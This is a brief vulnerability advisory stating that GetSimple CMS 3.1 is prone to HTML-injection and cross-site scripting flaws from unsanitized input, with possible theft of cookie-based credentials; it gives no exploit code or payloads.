Discussion
GetSimple CMS Multiple HTML Injection and Cross Site Scripting Vulnerabilities
GetSimple CMS is prone to HTML-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
GetSimple CMS 3.1 is vulnerable; other versions may also be affected.
